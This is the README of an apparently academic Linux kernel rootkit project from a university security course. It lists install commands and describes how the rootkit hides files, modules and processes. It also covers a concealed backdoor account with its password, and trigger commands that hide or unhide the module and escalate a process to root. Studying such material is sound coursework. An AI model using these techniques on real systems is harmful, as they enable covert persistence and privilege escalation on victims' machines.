vpatov / 1337rootkit

Rootkit for CSE509 semester project at Stony Brook University, Fall 2016.

/**********************************************************************************

• Last Updated: Nov 27, 2016

• CSE509 System Security Fall 2016

• Written By:

  Edwin Yan ([email protected])
  Rashmi Makheja ([email protected])
  Sagar Shah ([email protected])
  Vasia Patov ([email protected]) 
  

• Project: Rootkit

**********************************************************************************/

System Specification:

	This project is built and tested on ubuntu 12.04 having kernel version 3.2.0-115-generic-pae

VM ova: https://goo.gl/zjEnPb Username : iambate Password : rootkit1337

Backdoor account: username : rtry password : rashmi

Steps to install rootkit:

1) build the kernel, install modules and reboot the system
2) cd /home/iambate/sys_sec/1337rootkit
	go to the rootkit folder(assuming the rootkit source is in this folder)
3) sudo make 
	build the module
4) sudo insmod 1337Rootkit.ko 
	installs the rootkit module

Illustrations of the basic requirements:

1) Hide specific files and directories from showing up when a user does "ls" and similar commands
	i)ls
	ii)lsmod
		 rootkit module and files that have '1337' in their name will be hidden

2) Modify the /etc/passwd and /etc/shadow file to add a backdoor account while returning the original contents of the 		files (pre-attack) when a normal user requests to see the file
	i) sudo cat /etc/passwd
	ii) sudo cat /etc/shadow
		The above two files should not show content related to user 'rtry'(the backdoor account)
	iii) sudo useradd testrootkit509
		Whenever any a new user is added, a malicious user 'rtry' is added if not already present. If already 				present, it will retained.
	iv) sudo passwd testrootkit509
		Whenever a user changes password, the malicious user and its details will remain intact even when 				though rootkit hides the malicious user when opening password. shadow file.
	v) login
		login using rtry username and password and you get successfully loggedin

3) Hides processes from the process table when a user does a "ps"
	i) ps
		The process of rootkit will be hidden from the result of ps command. e.g. all process containing "1337" 			will be hidden.
4) Give the ability to a malicious process to elevate its uid to 0 (root) upon demand
	i)setuid
		setuid syscall should be called with parameter INT_MAX, its privileges will be elevated to root.
	ii) python -c 'import os; os.write(2, "1337root"); os.system("/bin/sh");'
		process that will write "1337root" to stderr will get root privileges

Steps To remove rootkit:

i) python -c 'import os; os.write(2, "1337show")'
ii) sudo rmmod -f 1337rootkit.ko

Additional considerations:

1) No difference in response time of any operation
2) Selective hijacking for read so that attacker can log in using the backdoor account
3) Attacker can login through SSH using the backdoor account
3) Secret methods to hide/unhide rootkit:
	i) echo "The secret way to unhide rootkit is as follows:"
	   python -c 'import os; os.write(2, "1337show")'
	   echo "The rootkit appears"
	   lsmod |grep rootkit
	ii) echo "The secret way to hide it again"
	    python -c 'import os; os.write(2, "1337hide")'
	    lsmod |grep rootkit
	iii) echo "Some normal non-root user"
	     id
	iv) python -c 'import os; os.system("/bin/bash")'
	    id
	v) echo "One secret to get elevate root privileges is as follow:"
	   python -c 'import os; os.write(2, "1337root"); os.system("/bin/bash")'
	   id
	   echo "Congratulations You are root"
	   exit
	vi) echo "Lets try to uninstall the module"
	    sudo rmmod -f 1337rootkit.ko
	vii) echo "User cannot uninstall unless he knows the secret"
	     python -c 'import os; os.write(2, "1337show")'
	     sudo rmmod -f 1337rootkit.ko

Assumptions:

1) passwd file assumed to be at max 4kb
2) rootkit is assumed to be present on the victim's system